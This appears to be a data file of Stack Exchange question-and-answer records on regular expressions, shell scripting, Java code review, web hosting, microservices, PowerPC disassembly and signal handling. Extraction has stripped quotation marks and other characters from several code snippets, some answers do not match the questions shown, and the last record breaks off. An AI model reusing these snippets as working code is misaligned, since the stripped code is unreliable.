{  "id": "_cstheory.18658"  , "question": "The task is to prove that (0+1)* and 0*(1.0*)* are equivalent.1. http://rubular.com/r/K9Hp9tU6px2. http://rubular.com/r/N8VpoEcch4EDIT: Forgot that + was ambiguous here!I want to prove that the second expression accepts all binary strings, without constructing the equivalent DFAs manually.Induction comes to mind, but I am probably missing something crucial.Can anyone of you recommend a few good methods that I can use here?Also, relevant identities are welcome.As a generalization of my question here, does a generic pattern for proving A language is accepted by R1 if and only if it is accepted by R2 exist ?"  , "title": "Can I show algebraically that this regular expression accepts all binary strings?"  , "tags": "automata theory;regular expressions"  , "accepted_answer": "The identity $(x + y)^* = x^*(xy^*)^*$ is a classical identity of regular expressions, butit is a nontrivial problem to find a complete set of identities for regular expressions. An infinite complete set was proposed by John Conway and this conjecture was ultimately proved by D. Krob.J.H. Conway, Regular algebra and finite machines, Chapman and Hall, 1971, ISBN 0-412-10620-5D. Krob, A complete system of $\\mathcal{B}$-rational identities. Automata, languages and programming (Coventry, 1990), LNCS 443, Springer, New York, (1990) 60--73. DOID. Krob, Complete Systems of $\\mathcal{B}$-Rational Identities, Theor. Comp. Sci. 89 (1991), 207343. DOISee also for a complete theory:S. L. Bloom and Z. sik. Iteration Theories: the Equational Logic of Iterative Processes.EATCS Monographs on Theoretical Computer Science. Springer-Verlag, Berlin, 1993. xvi+630 pp.ISBN: 3-540-56378-4and for a related discussion for deciding the corresponding equational theory in Coq:T. Braibant, D. Pous, Deciding Kleene algebras in Coq, Log. Methods Comput. Sci. 8 (2012), no. 1, 1:16, 42 pp. DOI"  } 
{  "id": "_unix.353115"  , "question": "I have a file in the following format with millions of rowsKABC XXX 111 222KDEF XXX 123 456KGHI XXX 567 890KABC XXX 124 267KDEF XXX 190 478KGHI XXX 095 609KABC XXX 001 902KDEF XXX 013 986KGHI XXX 792 001etcThere are many more rows but this is just for simplicity.  How can I have just the unique identifiers printed? For exampleKABCKDEFKGHI"  , "title": "using grep to count unique Identifiers with word boundary"  , "tags": "text processing;grep"  , "accepted_answer": "cut -d' ' -f1 /path/to/file | sort -uorawk '! data[$1] { print $1; data[$1]=seen }' /path/to/file"  } 
{  "id": "_unix.7312"  , "question": "This script uses sed to change all  to new stuff. How would one change just the  after the yyy: using sed or anything else?cat >sample.txt <<EOFxxx:yyy:}EOFsed --expression='s//new stuff/' sample.txt"  , "title": "Locate postion then make a change using sed"  , "tags": "sed"  , "accepted_answer": "I might not understand your question.  If you want to replace ONLY the value after 'yyy' then use the previous answer.  If you want to replace ANY values after 'yyy', try this one-liner:  sed --expression='/yyy/,$ s//new stuff/g' sample.txtHaven't tested it :D..."  } 
{  "id": "_unix.160231"  , "question": "Consider a directory with typical Microsoft Windows filenames:New Document.txtFoo.docFoo - Copy.docI'd like to do something on each file such as:for sendfile in $(find ${POLLDIR} -type f -mmin +1 -print0)do  echo \\${sendfile}\\  ls -l ${sendfile}  and-so-on  if success_above  then    mv ${sendfile} ${donedir}/.  fidonePlease note that I don't want to just run 1 command with ${sendfile} as the argument. I need the loop to do error checking and other things (like moving ${sendfile} on success and logging on failure).What is a correct construct to escape/quote the filenames from find so I can use them in a for look like in the ls command above? If possible, I'd like to avoid storing the filenames in a temp file one by one.I don't think that find -printf '%p\\n' as suggested by triplee in the comments to question [ How do I use find when the filename contains spaces? ] would work in a for foo in $(...) do construct.I think replacing illegal chars with ? would work for me in this case, but it would be very ugly. The for loop ultimately processes files in ${POLLDIR} and then moves them when done, so the chance of Foo bar.txt colliding with Foo-bar.txt is 0 (-ish).My best attempt so far is:for sendfile in $(find ${POLLDIR} -type f -mmin +1 -print | tr ' ' '?')do  ...doneAny cleaner suggestions?"  , "title": "shell for loop with find with filenames containing spaces"  , "tags": "shell script;find;filenames;whitespace"  , "accepted_answer": "Use find ... -print0 | while IFS= read -d '' construct:find ${POLLDIR} -type f -mmin +1 -print0 | while IFS= read -r -d '' -r sendfile; do  echo ${sendfile}  ls -l ${sendfile}  and-so-on  if success_above  then    mv ${sendfile} ${donedir}/.  fidoneThe -d '' sets the end of line character to \\0 which is what separates each file found by find -print0 and the IFS= is needed to also work with files that contain newlines. The -r ensures that backslashes do not escape characters (so that \\t for example matches an actual backslash followed by a t and not a tab)."  } 
{  "id": "_unix.331213"  , "question": "I've been having trouble booting with Fedora 25 versions greater than 4.5.5-300. I have already tried modifying the selinux policy as suggested in answers to similar questions but with no success.Ouput of journalctl -xb -p3:    -- Logs begin at dom 2016-10-09 16:14:16 CDT, end at dom 2016-12-18 06:30:04 CST. --    dic 18 05:59:10 localhost.localdomain kernel: kvm: disabled by bios    dic 18 05:59:11 localhost.localdomain kernel: Support for cores revisions 0x17 and 0x18 disabled by module param allhwsupport=0. Try b43.allhwsupport=    dic 18 05:59:20 localhost.localdomain avahi-daemon[916]: chroot.c: open() failed: No such file or directory    dic 18 05:59:42 localhost.localdomain kernel: brcmsmac bcma0:1: brcms_ops_bss_info_changed: qos enabled: false (implement)    dic 18 05:59:42 localhost.localdomain kernel: brcmsmac bcma0:1: brcms_ops_config: change power-save mode: false (implement)    dic 18 05:59:46 localhost.localdomain kernel: brcmsmac bcma0:1: brcmsmac: brcms_ops_bss_info_changed: associated    dic 18 05:59:46 localhost.localdomain kernel: brcmsmac bcma0:1: brcms_ops_bss_info_changed: qos enabled: true (implement)    dic 18 05:59:53 localhost.localdomain kernel: brcmsmac bcma0:1: brcms_ops_bss_info_changed: arp filtering: 1 addresses (implement)    dic 18 06:00:20 localhost.localdomain spice-vdagent[1323]: Cannot access vdagent virtio channel /dev/virtio-ports/com.redhat.spice.0    dic 18 06:03:05 localhost.localdomain kernel: [drm:radeon_cs_ioctl [radeon]] *ERROR* Invalid command stream !    dic 18 06:03:18 localhost.localdomain spice-vdagent[1706]: Cannot access vdagent virtio channel /dev/virtio-ports/com.redhat.spice.0    dic 18 06:03:35 localhost.localdomain pulseaudio[1606]: [pulseaudio] bluez5-util.c: GetManagedObjects() failed: org.freedesktop.DBus.Error.NoReply: Did not receive a reply. Possible causes include: the remote application did not receive a reply. Possible causes include: the remote application did not send a reply, the message bus security policy blocked the reply, the reply timeout expired, or the network connection was broken.Output of sestatus:SELinux status:                 enabledSELinuxfs mount:                /sys/fs/selinuxSELinux root directory:         /etc/selinuxLoaded policy name:             targetedCurrent mode:                   permissiveMode from config file:          permissivePolicy MLS status:              enabledPolicy deny_unknown status:     allowedMax kernel policy version:      30Any ideas on how to fix this?"  , "title": "fedora 25 won't boot after update"  , "tags": "fedora;boot"  } 
{  "id": "_codereview.93901"  , "question": "Go is a board game (it looks like 5-in-a-row and plays like chess) and I tried to program it in Java.  Rules:Two players take turn placing stones on a board. The goal is to capture teritory. Stones can be captured (removed from game) if they have no unoccupied adjacent tiles horizontaly/verticaly. Adjacent stones (horizontaly/verticaly) of one color are combined into chains which share unoccupied tiles.If you're interested here's more.My code:I implemented core rules and basic input/output. My goal is to make the game scalable so I can add functionality without breaking everything.  My concerns: (main concern) I don't think it's expandable (enough). I had to redo (nearly) everything from scratch because it was complete mess. It works but I think that if I add more game mechanism everything will break. What can I do to avoid this?  Is Main an acceptable name for a class? Or should it be Game/App or something completely different?What about my comments?Main package go;import java.awt.BorderLayout;import java.awt.Color;import javax.swing.BorderFactory;import javax.swing.JFrame;import javax.swing.JPanel;/** * Builds UI and starts the game. * */public class Main {public static final String TITLE = ;public static final int BORDER_SIZE = 25;public static void main(String[] args) {    new Main().init();}private void init() {    JFrame f = new JFrame();    f.setTitle(TITLE);    JPanel container = new JPanel();    container.setBackground(Color.GRAY);    container.setLayout(new BorderLayout());    f.add(container);    container.setBorder(BorderFactory.createEmptyBorder(BORDER_SIZE, BORDER_SIZE, BORDER_SIZE, BORDER_SIZE));    GameBoard board = new GameBoard();    container.add(board);    f.pack();    f.setResizable(false);    f.setLocationByPlatform(true);    f.setVisible(true);}}GameBoard package go;import java.awt.Color;import java.awt.Dimension;import java.awt.Graphics;import java.awt.Graphics2D;import java.awt.Point;import java.awt.RenderingHints;import java.awt.event.MouseAdapter;import java.awt.event.MouseEvent;import javax.swing.JPanel;/**  * Provides I/O.  *   *   */ public class GameBoard extends JPanel {private static final long serialVersionUID = -494530433694385328L;/** * Number of rows/columns. */public static final int SIZE = 9;/** * Number of tiles in row/column. (Size - 1) */public static final int N_OF_TILES = SIZE - 1;public static final int TILE_SIZE = 40;public static final int BORDER_SIZE = TILE_SIZE;/** * Black/white player/stone *  * */public enum State {    BLACK, WHITE}private State current_player;private Grid grid;private Point lastMove;public GameBoard() {    this.setBackground(Color.ORANGE);    grid = new Grid(SIZE);    // Black always starts    current_player = State.BLACK;    this.addMouseListener(new MouseAdapter() {        @Override        public void mouseReleased(MouseEvent e) {            // Converts to float for float division and then rounds to            // provide nearest intersection.            int row = Math.round((float) (e.getY() - BORDER_SIZE)                    / TILE_SIZE);            int col = Math.round((float) (e.getX() - BORDER_SIZE)                    / TILE_SIZE);            // DEBUG INFO            // System.out.println(String.format(y: %d, x: %d, row, col));            // Check wherever it's valid            if (row >= SIZE || col >= SIZE || row < 0 || col < 0) {                return;            }            if (grid.isOccupied(row, col)) {                return;            }            grid.addStone(row, col, current_player);            lastMove = new Point(col, row);            // Switch current player            if (current_player == State.BLACK) {                current_player = State.WHITE;            } else {                current_player = State.BLACK;            }            repaint();        }    });}@Overrideprotected void paintComponent(Graphics g) {    super.paintComponent(g);    Graphics2D g2 = (Graphics2D) g;    g2.setRenderingHint(RenderingHints.KEY_ANTIALIASING,            RenderingHints.VALUE_ANTIALIAS_ON);    g2.setColor(Color.BLACK);    // Draw rows.    for (int i = 0; i < SIZE; i++) {        g2.drawLine(BORDER_SIZE, i * TILE_SIZE + BORDER_SIZE, TILE_SIZE                * N_OF_TILES + BORDER_SIZE, i * TILE_SIZE + BORDER_SIZE);    }    // Draw columns.    for (int i = 0; i < SIZE; i++) {        g2.drawLine(i * TILE_SIZE + BORDER_SIZE, BORDER_SIZE, i * TILE_SIZE                + BORDER_SIZE, TILE_SIZE * N_OF_TILES + BORDER_SIZE);    }    // Iterate over intersections    for (int row = 0; row < SIZE; row++) {        for (int col = 0; col < SIZE; col++) {            State state = grid.getState(row, col);            if (state != null) {                if (state == State.BLACK) {                    g2.setColor(Color.BLACK);                } else {                    g2.setColor(Color.WHITE);                }                g2.fillOval(col * TILE_SIZE + BORDER_SIZE - TILE_SIZE / 2,                        row * TILE_SIZE + BORDER_SIZE - TILE_SIZE / 2,                        TILE_SIZE, TILE_SIZE);            }        }    }    // Highlight last move    if (lastMove != null) {        g2.setColor(Color.RED);        g2.drawOval(lastMove.x * TILE_SIZE + BORDER_SIZE - TILE_SIZE / 2,                lastMove.y * TILE_SIZE + BORDER_SIZE - TILE_SIZE / 2,                TILE_SIZE, TILE_SIZE);    }}@Overridepublic Dimension getPreferredSize() {    return new Dimension(N_OF_TILES * TILE_SIZE + BORDER_SIZE * 2,            N_OF_TILES * TILE_SIZE + BORDER_SIZE * 2);}}Grid package go;import go.GameBoard.State;/** * Provides game logic. *   * */public class Grid {private final int SIZE;/** * [row][column] */private Stone[][] stones;public Grid(int size) {    SIZE = size;    stones = new Stone[SIZE][SIZE];}/** * Adds Stone to Grid. *  * @param row * @param col * @param black */public void addStone(int row, int col, State state) {    Stone newStone = new Stone(row, col, state);    stones[row][col] = newStone;    // Check neighbors    Stone[] neighbors = new Stone[4];    // Don't check outside the board    if (row > 0) {        neighbors[0] = stones[row - 1][col];    }    if (row < SIZE - 1) {        neighbors[1] = stones[row + 1][col];    }    if (col > 1) {        neighbors[2] = stones[row][col - 1];    }    if (col < SIZE - 1) {        neighbors[3] = stones[row][col + 1];    }    // Prepare Chain for this new Stone    Chain finalChain = new Chain(newStone.state);    for (Stone neighbor : neighbors) {        // Do nothing if no adjacent Stone        if (neighbor == null) {            continue;        }        newStone.liberties--;        neighbor.liberties--;        // If it's different color than newStone check him        if (neighbor.state != newStone.state) {            checkStone(neighbor);            continue;        }        if (neighbor.chain != null) {            finalChain.join(neighbor.chain);        }    }    finalChain.addStone(newStone);}/** * Check liberties of Stone *  * @param stone */public void checkStone(Stone stone) {    // Every Stone is part of a Chain so we check total liberties    if (stone.chain.getLiberties() == 0) {        for (Stone s : stone.chain.stones) {            s.chain = null;            stones[s.row][s.col] = null;        }    }}/** * Returns true if given position is occupied by any stone *  * @param row * @param col * @return true if given position is occupied */public boolean isOccupied(int row, int col) {    return stones[row][col] != null;}/** * Returns State (black/white) of given position or null if it's unoccupied. * Needs valid row and column. *  * @param row * @param col * @return */public State getState(int row, int col) {    Stone stone = stones[row][col];    if (stone == null) {        return null;    } else {        // System.out.println(getState != null);        return stone.state;    }}}Chain package go;import go.GameBoard.State;import java.util.ArrayList;/** * A collection of adjacent Stone(s). * */public class Chain {public ArrayList<Stone> stones;public State state;public Chain(State state) {    stones = new ArrayList<>();}public int getLiberties() {    int total = 0;    for (Stone stone : stones) {        total += stone.liberties;    }    return total;}public void addStone(Stone stone) {    stone.chain = this;    stones.add(stone);}public void join(Chain chain) {    for (Stone stone : chain.stones) {        addStone(stone);    }}}Stonepackage go;import go.GameBoard.State;/** * Basic game element. * */public class Stone {public Chain chain;public State state;public int liberties;// Row and col are need to remove (set to null) this Stone from Gridpublic int row;public int col;public Stone(int row, int col, State state) {    chain = null;    this.state = state;    liberties = 4;    this.row = row;    this.col = col;}}"  , "title": "Go (board game) in Java"  , "tags": "java;object oriented;game"  , "accepted_answer": "You don't cleanly separate different concerns:GameBoard contains both game logic (e.g. who is next to move, preventing playing on an occupied point, etc.) and UI logic.Converting between graphical coordinates and in game coordinates should be done using a single function for each direction and not interleaved with the drawing or click logic.Finding neighbours should be its own function. It should never return null elements in the returned collection, but rather a collection containing fewer Points if the center Point is at the edge of the board.Some of your code uses the GameBoard.SIZE constant. Other code uses the Grid.SIZE instance field. GameBoard.SIZE should either be eliminated or only used a single time, when passing it to the constructor of the board.Some other issues:State is a rather vague name, how about StoneColor?Ko doesn't get handled.I'd recommend having a collection/set if points-in-ko on the game state. This has two advantages over a single nullable Point: You don't need to handle null as a special case and it generalizes nicely to super-ko, where multiple points can be in ko at the same time.Doesn't handle suicideDepending on how you implemented ko, explicitly handling single stone suicide might not be necessary, since it results in an unchanged board. Multiple stone suicide is illegal under most rules, but allowed under other rules. If you want to support multiple rules, you should describe them in a Rules object (including scoring, ko and suicide).An alternative designThis is based on my experience writing a go program in C#. It focuses on clean design, sacrificing some performance. But features that need extreme performance, mainly bots, need specialized data-structures anyways, so I don't see that as a problem.Go game logic only depends on the coordinates of a point for a single function: determining the neighbours of a point. If you use an immutable GoPoint type, you don't need to pass around (x,y) pairs all the time.You don't need 2D arrays to represent the board state either, you can use a simple Dictionary<GoPoint, StoneColor>. The board topology can be described using two functions Iterable<GoPoint> allPoints and Iterable<GoPoint> neighbours(GoPoint point).To avoid creating new instances of Point all the time, you can create all points when initializing the board and add a function GoPoint pointAt(int x, int y) to obtain it.Chains are simply a collection of points, there is little gain in representing them as their own type. I wouldn't use persistent chains updated each move either. Chains are only necessary to determine which stones will be captured, you can compute them on-the-fly for the neighbours of the point you're playing on. To compute chains, start at a point and recursively add all neighbouring points, eliminating duplicates.Similarly I'm not fond of having a mutable Stone class. The GoPoint class together with a couple of functions on the class representing to board state should be enough."  } 
{  "id": "_webmaster.11356"  , "question": "Possible Duplicate:How to find web hosting that meets my requirements? I live in Denmark in the daily and need to find a web host that can keep up at the world level.Should there be some who is familiar with hotels that can follow the requirements below.OverallClustered Web24/7 Expert Helpdesk and Server MonitoringLinux Operating SystemUnlimited Subdomains50 MySQL DatabasesFTP and FTPS AccessFast connectivity to any destination - World Wide. (Stable/Low DNS, TTFB and similar)ManagementFull DNS ManagementWeb Mail AccessphpMyAdminCronjobsMailIMAP/POP3/SMTPMail Auto RespondersCatch-All MailboxMicrosoft Exchange EnabledApachePython and perl CGI SupportSecure Server (SSL)mod_rewriteFull .htaccess SupportPHPPHP v 4.4 & 5.2ImageMagick and GDCURLRTF, POWERPOINT, EXCEL, WORD and PDF parserZip Utilityxhprof"  , "title": "Clustered Web host"  , "tags": "web hosting;looking for hosting"  , "accepted_answer": "Media Temple (http://mediatemple.net/) or Rackspace (http://www.rackspace.com/) should have a solution for you. Of course, everything depends on how much you would like to pay."  } 
{  "id": "_webmaster.71032"  , "question": "Forgive me if this has been asked, all I found was SEO: h1 with text vs. h1 with bg image and hidden text which wasn't the same question.Will search engines pick up and index (in their image searches) pictures that are inserted into websites using:background: url(/images/filename.ext) no-repeat;And should I include that image in my XML sitemap or will web-crawlers think its lying because it may not find said image in the markup?I've been implementing Schema as well. Should I use Schema itemprop='image' inside the div that I'm putting the image in as background?"  , "title": "How does background: url(image.ext) work from an SEO standpoint?"  , "tags": "seo;css;sitemap;images"  , "accepted_answer": "Google does not treat CSS content the same as that on pageGenerally Google will only attempt to index content that is actually embedded within the page content associated with an appropriate tag such as <img>. You can however attempt to force Google's hand by adding the path of the background image into a image sitemap.Some Schema markups require more than just the standard itempropValid Schema involves marking up actual content, not content used by a template. Using the itemprop image will require a mark up of URL which in this case you don't have.CSS backgrounds are not considered page contentYour attempting something that shouldn't be done for various reasons, if the content is valuable to your users then the correct usage would be to include the content within the designed elements and not that using background url. General UI elements are useless for indexing in Google's image search, if you want the image to be indexed without the need of forcing Google's hand then there are several ways it can be done. A messy example would be to use position:fixed among many other ways this can be done... see my mess around fiddle as an example."  } 
{  "id": "_softwareengineering.291355"  , "question": "I'm reading a guide for back-propagation of a neural net, and it gives the error function as:Next work out the error for neuron B. The error is What you want  What you actually get, in other words: ErrorB = OutputB (1-OutputB)(TargetB  OutputB)But then, underneath that it says:The Output(1-Output) term is necessary in the equation because of the Sigmoid Function  if we were only using a threshold neuron it would just be (Target  Output).I am in fact using the sigmoid function for my net, but I'd like to write things to be as general as possible. I thought of trying something like this:public List<Double> calcError(List<Double> expectedOutput, UnaryOperator<Double> derivative) {    List<Double> actualOutput = outputLayer.getActivations();    List<Double> errors = new ArrayList<Double>();    for (int i = 0; i < actualOutput.size(); i++) {        errors.add(            derivative.apply(actualOutput.get(i)) * (expectedOutput.get(i) - actualOutput.get(i))        );    }    return errors;}Where I allow the caller to pass in the derivative (I think that's what it's called), so the error can be calculated for any activation function.The problem is, I haven't learned calculus yet, and don't even know if this makes sense. Can I have the derivative passed in like this and still have it give accurate results? Or will the error calculation change depending on activation function/derivative used?I wasn't sure if this should be put in the Math SE; as it contains code."  , "title": "Is it appropriate to pass in a derivative to calculate the error of a Neural Net?"  , "tags": "java;calculus"  , "accepted_answer": "Yes you can pass in the derivative, however, it must be the derivative of your activation function. N.b. the network will fail if the derivative isn't actually the derivative of the activation function.The options you have are:statically define your activation function and its derivativestatically define a list of activation functions that can be selected, (and the derivative selected automatically)parametrize the activation function and its derivative as a pairparametrize the activation function, and then use some method to calculate the derivative automatically (n.b. some neural network libraries use this approach.)Since rolling your own neural network code really only makes sense as learning exercise, any of the methods are appropriate. A practical library would want to prevent users from easily misconfiguration the network. N.b. I assume a 'threshold' neuron, mentioned in your quote, refers to a neuron with a rectified linear activation function. The derivative in this case is 1, unless the output is 0, then it is 0. So leaving out the derivative is the same as using it, in that particular case."  } 
{  "id": "_webmaster.10659"  , "question": "I'm looking for a free lightweight mobile webmail. Something like squirrelmail but for mobile phones.roberto"  , "title": "free lightweight mobile webmail"  , "tags": "email;mobile;looking for a script;webmail"  } 
{  "id": "_softwareengineering.262557"  , "question": "I need an algorithm that distributes same items across a list, so maximizing the distance between occurrences.E.g. I have a list of 15 items:{a,b,c,c,c,d,e,f,f,f,g,h,h,i,j}The algorithm should reorder these in such a way that all the duplicates are spread as uniformly as possible.The mentioned list should result in something like this:{c,f,a,h,b,c,d,e,c,f,g,c,h,i,j,f}Preferably I'd like pseudo code, and even better would be TSQL (since that is the platform it needs to run on). It needs to process hundreds of these lists in one go.I also tested a proposed method called 'Weighted shuffle' but this will still allow two of the same items in the list to appear next to each other even when this is not needed."  , "title": "An algorithm that spreads similar items across a list"  , "tags": "algorithms;sql;vb.net;visual basic;tsql"  , "accepted_answer": "First, make sure there is a solution according to your requirements (that means, there is not a single letter which occurs more that n/2 times, when n is the total number of elements).Then I suggest you try the followingstart with a random shuffle or weighted shuffleafterwards, for each remaining pair of similar neighbours, pick one of the items, pick another randomly choosen item among those with different neighbours, and switch their placesrepeat the last step until all pairs are removed.This approach will just make sure you get no neighboured pairs, but it does not maximize the possible distances between similar letters. If you want to achieve the latter (which is not clear from your question), I suggest you introduce a score function to your list, for example like this: Score(list) := Sum(1/(abs(a-b)-0.999))                a,bwhere the sum goes over all pairs (a,b) of positions of equal letters. The -0.999 in the denominator makes sure the whole expression will become very big when there are 2 equal neighbours. Now, you can apply random swaps to your list and try to minimize the score function, for example by hill climbing or simulated annealing."  } 
{  "id": "_codereview.146207"  , "question": "In short, the input is an ordered list of numbers, and we have to sum the numbers from index a to b quickly. For example, assume array[] = {1, 2, 3}. Please sum from array[0] to array[2] (1 + 2 + 3).Because the input array can have as much as 200,000 elements, I used a Fenwick tree to save time, but the time limit is still exceeded on UVa.Here is the problem on UVa. Which part can I improve?I built:lowbit() return low bit for fenwick treecreate() create the fenwick treeupdate() update the fenwick treesum() return the sum by fenwick treeupdate :add Arrays.fill(FT, 0); to initialize Fenwick treecreate() use update()add array[x] = y; to update the actual arrayimport java.util.*;public class Main {    static int[] FT = new int[200001];    /* store fenwick tree */    static int[] array = new int[200001]; /* store input data */    static int N; /* size of input data  */    public static void main(String[] args) {        Scanner in = new Scanner(System.in);        int testCase = 0; /* not important, just for UVa output format*/        int x, y;        while ((N = in.nextInt()) > 0) {            Arrays.fill(FT, 0); /* Initialize Fenwick tree */            for (int i = 1; i <= N; i++) { /* Initialize input array */                array[i] = in.nextInt();            }            create();            System.out.printf(Case %d:\\n, ++testCase);            String act;            while (!(act = in.next()).equals(END)) { /* receive action: print sum, update data or END */                if (act.equals(M)) { /* to print sum from x to y*/                    x = in.nextInt();                    y = in.nextInt();                    System.out.println(sum(y) - sum(x - 1));                } else { /* to update the array[x] to y ,also fenwick tree*/                    x = in.nextInt();                    y = in.nextInt();                    update(x, y - array[x]);                    array[x] = y;                }            }        }    }    public static void create() {        for (int i = 1; i <= N; i++) {            update(i, array[i]);        }    }    public static void update(int i, int delta) {        for (int j = i; j <= N; j += lowbit(j)) {            FT[j] += delta;        }    }    public static int sum(int k) {        int ans = 0;        for (int i = k; i > 0; i -= lowbit(i)) {            ans += FT[i];        }        return ans;    }    public static int lowbit(int k) {        return -k & k;    }}"  , "title": "Summing integers in stream using Fenwick tree"  , "tags": "java;programming challenge;time limit exceeded"  , "accepted_answer": "Incorrect creation of fenwick treeYour function create() is both incorrect and slow.  You had the correct function update() but you never used it.  Instead you tried to create the fenwick tree yourself but used an \\$O(n^2)\\$ algorithm to do so.  The correct way would have been just:public static void create() {    for (int i = 1; i <= N; i++) {        update(i, array[i]);    }}This would have created the fenwick tree in \\$O(n \\log n)\\$ time.BugAnother problem you have is when you update the array.  You do correctly update the fenwick tree, but you forgot to update the actual array.  In other words, after this line:               update(x, y - array[x]);you need this line:                array[x] = y;"  } 
{  "id": "_unix.22348"  , "question": "I need to find all links in a PDF file, along with the page they're on and their X/Y position. Is there any tool or combination of tools I can use to do that?"  , "title": "Find links and their positions in a PDF"  , "tags": "command line;software rec;pdf"  } 
{  "id": "_softwareengineering.331021"  , "question": "We have a huge project that desperately needs to be broken apart into multiple databases and applications. I can think of 2 possible approaches to this problem:Use a REST endpoint on each service to fetch/update data. Services that are dependent on each other simply call each other's REST endpoints to fetch/update data. (this makes the most sense to me, and it seems to have a good separation of concerns in terms of what data each service is supposed to own)Use queues to pass entity updated messages between services and replicate data that was updated between all the services that need the data.My lead really, really wants to go with the 2nd option because he thinks it will be more cost effective and resilient: using this approach, we don't need to scale up all the dependent services of a particular microservice because data is replicated, and we can also fetch necessary data even if a dependent microservice is down (again because data is replicated). This kind of makes sense to me, however, my gut is telling me that this is a bad idea because replication bugs make me nervous, and it seems complicated to implement properly (lots of possible ways data could get out of sync, and doesn't seem trivial to manually re-sync all data that's necessary to be used in multiple services). I've never worked with such an architecture as mentioned in #2, so I could be completely off base here, which is why I'm posting here and asking for advice.What would you all recommend? #1 or 2? Something else entirely?Thanks in advance!"  , "title": "Which approach should I use to split a monolithic application into several microservices?"  , "tags": "architecture;web services;microservices"  , "accepted_answer": "The preferred approach will depend on several factors. At my company, we use both approaches (using Hermes rather than a queue for asynchronous communication) since they both have their advantages in certain situations.The main factor of interest is what requirements you have on data freshness for a certain pair of services. Basically, asynchronous communication (such as using a queue) has the benefit of causing less coupling between services and potentially allowing better throughput since you can schedule data transfer at a convenient time, repeat failed transmissions as many times as you like and so on. The downside is that things happen asynchronously so there is always some lag involved as one service sees stale data before it gets an update from the other. There may also be considerable disk and CPU resources required if you want to duplicate a large database in each service.Also, take into account that in a distributed system, things as simple as making a copy of data in another place get tricky. If you have one instance of application A and one instance of application B, and everything happens synchronously, you can make and keep in sync a true copy of all data from service A to service B. But when you have N instances of A talking to M instances of B, and to make matters worse, communication is asynchronous, it's really hard to keep an up-to-date copy. For example instance A1 may update a document, then instance A2 also updates the same document and now you have two update events racing to reach instances B1 and B2 which may receive and apply them in any order. It's a big topic but the take out is complexity grows a lot.So, here are a few concrete examples of when using each of the approaches may be the better choice:You have an authorization service with information about users and their access rights. Here, REST is preferred: you want any change (such as removing a user's permissions) to be active immediately. For security reasons you also don't want to make any copies of users' personal information or credentials.A service displays advertising for certain products your web shop is selling. Each product's ad contains a name, a short description and a link URL. Assuming the number of advertised products is not huge, making a copy via asynchronous communication may be preferable. Products are not updated very often and if they are, adding a delay of a few minutes before the change is visible in the ads is acceptable. Your ad server may index ads in some special format tuned for performance of ad serving, and services are loosely coupled: your ad service is not increasing the load on your main product database as much as if it were using REST requests.Your shop's listing pages show the products you sell. Here, you probably want to query the product database service directly via REST. When you edit a product, you want the change to be visible on your shop's page as soon as possible. The whole product database is probably quite big so duplicating it in the frontend service would be a large hardware cost.As you see, there are good use cases for both approaches, and in a large system you probably have to settle on using a hybrid approach of using #1 or #2 depending on the situation."  } 
{  "id": "_softwareengineering.267469"  , "question": "The tutorials I find to setup OS-X for web developer programming (installing x-code ruby js cocoapods sql c asm etc) leave out if it should be done from an admin account, or standard (managed) user.Some methods I've seen used: Setup dev environment from admin account, then change admin to managed user. Or install dev environment from managed user, using sudo or otherwise editing settings to get things to install.What's the consensus for using Terminal from a managed & parental controlled account? What's the correct procedural way to setup a fresh 10.10 install? Thanks."  , "title": "Developer account in OSX, admin or managed user with our without sudo access?"  , "tags": "programming practices;security"  } 
{  "id": "_reverseengineering.6299"  , "question": "I disassemble my own written code in C to PowerPC assembly, and I can't understand why crclr occurrs before the call to the printf function.C codeint main(){     int a, b, c;     a = 10;     b = 2;     c = a * b;     printf(%d, c);     return 0;}PowerPC assembly codestwu r1, -0x10(r1)mflr r0stw r0, 0x14(r1)lis r3, unk_38@haddi r3, r3, unk_38@lli r4, 0x14crclr 4*cr1+eqbl printfli r3, 0lwz r0, 0x14(r1)mtlr r0addi r1, r1, 0x10blrunk_38:   .byte 0x25 # %   .byte 0x64 # dCould anyone please tell me why? Thanks in advance :)"  , "title": "Why does the PowerPC Compiler emit a clclr instruction before calling a function?"  , "tags": "disassembly;powerpc"  } 
{  "id": "_unix.372541"  , "question": "I have the following in a script:yes >/dev/null &pid=$!echo $pidsleep 2kill -INT $pidsleep 2ps aux | grep yesWhen I run it, the output shows that yes is still running by the end of the script. However, if I run the commands interactively then the process terminates successfully, as in the following:> yes >/dev/null &[1] 9967> kill -INT 9967> ps aux | grep yessean ... 0:00 grep yesWhy does SIGINT terminate the process in the interactive instance but not in the scripted instance?EDITHere's some supplementary information that may help to diagnose the issue. I wrote the following Go program to simulate the above script.package mainimport (    fmt    os    os/exec    time)func main() {    yes := exec.Command(yes)    if err := yes.Start(); err != nil {        die(%v, err)    }    time.Sleep(time.Second*2)    kill := exec.Command(kill, -INT, fmt.Sprintf(%d, yes.Process.Pid))    if err := kill.Run(); err != nil {        die(%v, err)    }    time.Sleep(time.Second*2)    out, err := exec.Command(bash, -c, ps aux | grep yes).CombinedOutput()    if err != nil {        die(%v, err)    }    fmt.Println(string(out))}func die(msg string, args ...interface{}) {    fmt.Fprintf(os.Stderr, msg+\\n, args...)    os.Exit(1)}I built it as main and running  ./main in a script, and running ./main and ./main & interactively give the same, following, output:sean ... 0:01 [yes] <defunct>sean ... 0:00 bash -c ps aux | grep yessean ... 0:00 grep yesHowever, running ./main & in a script gives the following:sean ... 0:03 yessean ... 0:00 bash -c ps aux | grep yessean ... 0:00 grep yesThis makes me believe that the difference has less to do on Bash's own job control, though I'm running all of this in a Bash shell."  , "title": "Why doesn't SIGINT work on a background process in a script?"  , "tags": "shell script;process;background process;signals;interrupt"  , "accepted_answer": "What shell is used is a concern as different shells handle job control differently (and job control is complicated; job.c in bash presently weighs in at 3,300 lines of C according to cloc). pdksh 5.2.14 versus bash 3.2 on Mac OS X 10.11 for instance show:$ cat codepkill yesyes >/dev/null &pid=$!echo $pidsleep 2kill -INT $pidsleep 2pgrep yes$ bash code3864338643$ ksh code38650$ Also relevant here is that yes performs no signal handling so inherits whatever there is to be inherited from the parent shell process; if by contrast we do perform signal handling$ cat sighandlingcode perl -e '$SIG{INT} = sub { die ouch\\n }; sleep 5' &pid=$!sleep 2kill -INT $pid$ bash sighandlingcode ouch$ ksh sighandlingcode ouch$ the SIGINT is triggered regardless the parent shell, as perl here unlike yes has changed the signal handling. There are system calls relevant to signal handling which can be observed with things like DTrace or here strace on Linux:-bash-4.2$ cat codepkill yesyes >/dev/null &pid=$!echo $pidsleep 2kill -INT $pidsleep 2pgrep yespkill yes-bash-4.2$ rm foo*; 